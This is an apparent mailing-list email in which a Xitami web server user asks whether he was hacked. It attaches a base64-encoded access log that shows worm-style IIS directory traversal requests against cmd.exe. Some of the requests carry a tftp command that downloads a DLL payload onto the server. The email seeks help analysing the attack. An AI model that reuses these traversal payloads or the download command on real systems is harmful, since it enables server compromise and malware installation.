[Xitami] log analysis

[Rick Headly]

------=_Part_133_15189772.1118202406380
Content-Type: multipart/alternative; 
	boundary="----=_Part_134_12389708.1118202406381"

------=_Part_134_12389708.1118202406381
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

while i'm at it,
 i'm currently trying to investigate some rather strange activity, and woul=
d=20
appreciate someone taking a quick look at a clip from an access log, which=
=20
i've attached to this message.
 i've never seen anything quite like this. was i hacked, or has someone=20
attempted to hack? they gained access by use of ip-address alone... no=20
domain name was used. my connection speed has been reduced to a crawl.
 thank you
 rick

------=_Part_134_12389708.1118202406381
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

<div>while i'm at it,</div>
<div>&nbsp;</div>
<div>i'm currently trying to investigate some rather strange activity, and =
would appreciate someone taking a quick look at a clip from an access log, =
which i've attached to this message.</div>
<div>&nbsp;</div>
<div>i've never seen anything quite like this.&nbsp; was i hacked, or has s=
omeone attempted to hack?&nbsp; they gained access by use of ip-address alo=
ne... no domain name was used.&nbsp; my connection speed has been reduced t=
o a crawl.
</div>
<div>&nbsp;</div>
<div>thank you</div>
<div>&nbsp;</div>
<div>rick</div>
<div>&nbsp;</div>
<div>&nbsp;</div>

------=_Part_134_12389708.1118202406381--

------=_Part_133_15189772.1118202406380
Content-Type: text/plain; name="whatisthis.txt"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="whatisthis.txt"

MjQuMTE5LjQ4LjExNyAtIC0gWzA3L0p1bi8yMDA1OjA5OjU2OjQyIC0wNDAwXSAiR0VUIC9zY3Jp
cHRzL3Jvb3QuZXhlPy9jK2RpciBIVFRQLzEuMCIgNDA0IC0xICIiICIiDQoyNC4xMTkuNDguMTE3
IC0gLSBbMDcvSnVuLzIwMDU6MDk6NTY6NDIgLTA0MDBdICJHRVQgL01TQURDL3Jvb3QuZXhlPy9j
K2RpciBIVFRQLzEuMCIgNDA0IC0xICIiICIiDQoyNC4xMTkuNDguMTE3IC0gLSBbMDcvSnVuLzIw
MDU6MDk6NTY6NDMgLTA0MDBdICJHRVQgL2Mvd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYytkaXIg
SFRUUC8xLjAiIDQwNCAtMSAiIiAiIg0KMjQuMTE5LjQ4LjExNyAtIC0gWzA3L0p1bi8yMDA1OjA5
OjU2OjQzIC0wNDAwXSAiR0VUIC9kL3dpbm50L3N5c3RlbTMyL2NtZC5leGU/L2MrZGlyIEhUVFAv
MS4wIiA0MDQgLTEgIiIgIiINCjI0LjExOS40OC4xMTcgLSAtIFswNy9KdW4vMjAwNTowOTo1Njo0
MyAtMDQwMF0gIkdFVCAvc2NyaXB0cy8uLiUyNTVjLi4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8v
YytkaXIgSFRUUC8xLjAiIDQwNCAtMSAiIiAiIg0KMjQuMTE5LjQ4LjExNyAtIC0gWzA3L0p1bi8y
MDA1OjA5OjU2OjQ0IC0wNDAwXSAiR0VUIC9fdnRpX2Jpbi8uLiUyNTVjLi4vLi4lMjU1Yy4uLy4u
JTI1NWMuLi93aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jK2RpciBIVFRQLzEuMCIgNDA0IC0xICIi
ICIiDQoyNC4xMTkuNDguMTE3IC0gLSBbMDcvSnVuLzIwMDU6MDk6NTY6NDQgLTA0MDBdICJHRVQg
L19tZW1fYmluLy4uJTI1NWMuLi8uLiUyNTVjLi4vLi4lMjU1Yy4uL3dpbm50L3N5c3RlbTMyL2Nt
ZC5leGU/L2MrZGlyIEhUVFAvMS4wIiA0MDQgLTEgIiIgIiINCjI0LjExOS40OC4xMTcgLSAtIFsw
Ny9KdW4vMjAwNTowOTo1Njo0NCAtMDQwMF0gIkdFVCAvbXNhZGMvLi4lMjU1Yy4uLy4uJTI1NWMu
Li8uLiUyNTVjLy4uJWMxJTFjLi4vLi4lYzElMWMuLi8uLiVjMSUxYy4uL3dpbm50L3N5c3RlbTMy
L2NtZC5leGU/L2MrZGlyIEhUVFAvMS4wIiA0MDQgLTEgIiIgIiINCjI0LjExOS40OC4xMTcgLSAt
IFswNy9KdW4vMjAwNTowOTo1Njo0NSAtMDQwMF0gIkdFVCAvc2NyaXB0cy8uLiVjMSUxYy4uL3dp
bm50L3N5c3RlbTMyL2NtZC5leGU/L2MrZGlyIEhUVFAvMS4wIiA0MDQgLTEgIiIgIiINCjI0LjEx
OS40OC4xMTcgLSAtIFswNy9KdW4vMjAwNTowOTo1Njo0NSAtMDQwMF0gIkdFVCAvc2NyaXB0cy8u
LiVjMCUyZi4uL3dpbm50L3N5c3RlbTMyL2NtZC5leGU/L2MrZGlyIEhUVFAvMS4wIiA0MDQgLTEg
IiIgIiINCjI0LjExOS40OC4xMTcgLSAtIFswNy9KdW4vMjAwNTowOTo1Njo0NSAtMDQwMF0gIkdF
VCAvc2NyaXB0cy8uLiVjMCVhZi4uL3dpbm50L3N5c3RlbTMyL2NtZC5leGU/L2MrZGlyIEhUVFAv
MS4wIiA0MDQgLTEgIiIgIiINCjI0LjExOS40OC4xMTcgLSAtIFswNy9KdW4vMjAwNTowOTo1Njo0
NiAtMDQwMF0gIkdFVCAvc2NyaXB0cy8uLiVjMSU5Yy4uL3dpbm50L3N5c3RlbTMyL2NtZC5leGU/
L2MrZGlyIEhUVFAvMS4wIiA0MDQgLTEgIiIgIiINCjI0LjExOS40OC4xMTcgLSAtIFswNy9KdW4v
MjAwNTowOTo1Njo0NiAtMDQwMF0gIkdFVCAvc2NyaXB0cy8uLiUlMzUlNjMuLi93aW5udC9zeXN0
ZW0zMi9jbWQuZXhlPy9jK2RpciBIVFRQLzEuMCIgMjAwIC0xICIiICIiDQoyNC4xMTkuNDguMTE3
IC0gLSBbMDcvSnVuLzIwMDU6MDk6NTY6NDYgLTA0MDBdICJHRVQgL3NjcmlwdHMvLi4lJTM1JTYz
Li4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYyt0ZnRwJTIwLWklMjAxMjcuMC4wLjElMjBHRVQl
MjBjb29sLmRsbCUyMGM6XGh0dHBvZGJjLmRsbCBIVFRQLzEuMCIgMjAwIC0xICIiICIiDQoyNC4x
MTkuNDguMTE3IC0gLSBbMDcvSnVuLzIwMDU6MDk6NTY6NDcgLTA0MDBdICJHRVQgL3NjcmlwdHMv
Li4lJTM1JTYzLi4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYyt0ZnRwJTIwLWklMjAxMjcuMC4w
LjElMjBHRVQlMjBjb29sLmRsbCUyMGQ6XGh0dHBvZGJjLmRsbCBIVFRQLzEuMCIgMjAwIC0xICIi
ICIiDQoyNC4xMTkuNDguMTE3IC0gLSBbMDcvSnVuLzIwMDU6MDk6NTY6NDggLTA0MDBdICJHRVQg
L3NjcmlwdHMvLi4lJTM1JTYzLi4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYyt0ZnRwJTIwLWkl
MjAxMjcuMC4wLjElMjBHRVQlMjBjb29sLmRsbCUyMGU6XGh0dHBvZGJjLmRsbCBIVFRQLzEuMCIg
MjAwIC0xICIiICIiDQoyNC4xMTkuNDguMTE3IC0gLSBbMDcvSnVuLzIwMDU6MDk6NTY6NDggLTA0
MDBdICJHRVQgL3NjcmlwdHMvLi4lJTM1JTYzLi4vaHR0cG9kYmMuZGxsIEhUVFAvMS4wIiAyMDAg
LTEgIiIgIiINCjI0LjExOS40OC4xMTcgLSAtIFswNy9KdW4vMjAwNTowOTo1Njo0OCAtMDQwMF0g
IkdFVCAvc2NyaXB0cy8uLiUlMzVjLi4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYytkaXIgSFRU
UC8xLjAiIDIwMCAtMSAiIiAiIg0KMjQuMTE5LjQ4LjExNyAtIC0gWzA3L0p1bi8yMDA1OjA5OjU2
OjQ5IC0wNDAwXSAiR0VUIC9zY3JpcHRzLy4uJSUzNWMuLi93aW5udC9zeXN0ZW0zMi9jbWQuZXhl
Py9jK3RmdHAlMjAtaSUyMDEyNy4wLjAuMSUyMEdFVCUyMGNvb2wuZGxsJTIwYzpcaHR0cG9kYmMu
ZGxsIEhUVFAvMS4wIiAyMDAgLTEgIiIgIiINCjI0LjExOS40OC4xMTcgLSAtIFswNy9KdW4vMjAw
NTowOTo1Njo0OSAtMDQwMF0gIkdFVCAvc2NyaXB0cy8uLiUlMzVjLi4vd2lubnQvc3lzdGVtMzIv
Y21kLmV4ZT8vYyt0ZnRwJTIwLWklMjAxMjcuMC4wLjElMjBHRVQlMjBjb29sLmRsbCUyMGQ6XGh0
dHBvZGJjLmRsbCBIVFRQLzEuMCIgMjAwIC0xICIiICIiDQoyNC4xMTkuNDguMTE3IC0gLSBbMDcv
SnVuLzIwMDU6MDk6NTY6NDkgLTA0MDBdICJHRVQgL3NjcmlwdHMvLi4lJTM1Yy4uL3dpbm50L3N5
c3RlbTMyL2NtZC5leGU/L2MrdGZ0cCUyMC1pJTIwMTI3LjAuMC4xJTIwR0VUJTIwY29vbC5kbGwl
MjBlOlxodHRwb2RiYy5kbGwgSFRUUC8xLjAiIDIwMCAtMSAiIiAiIg0KMjQuMTE5LjQ4LjExNyAt
IC0gWzA3L0p1bi8yMDA1OjA5OjU2OjUwIC0wNDAwXSAiR0VUIC9zY3JpcHRzLy4uJSUzNWMuLi9o
dHRwb2RiYy5kbGwgSFRUUC8xLjAiIDIwMCAtMSAiIiAiIg0KMjQuMTE5LjQ4LjExNyAtIC0gWzA3
L0p1bi8yMDA1OjA5OjU2OjUwIC0wNDAwXSAiR0VUIC9zY3JpcHRzLy4uJTI1JTM1JTYzLi4vd2lu
bnQvc3lzdGVtMzIvY21kLmV4ZT8vYytkaXIgSFRUUC8xLjAiIDQwNCAtMSAiIiAiIg0KMjQuMTE5
LjQ4LjExNyAtIC0gWzA3L0p1bi8yMDA1OjA5OjU2OjUwIC0wNDAwXSAiR0VUIC9zY3JpcHRzLy4u
JTI1MmYuLi93aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jK2RpciBIVFRQLzEuMCIgNDA0IC0xICIi
ICIi
------=_Part_133_15189772.1118202406380--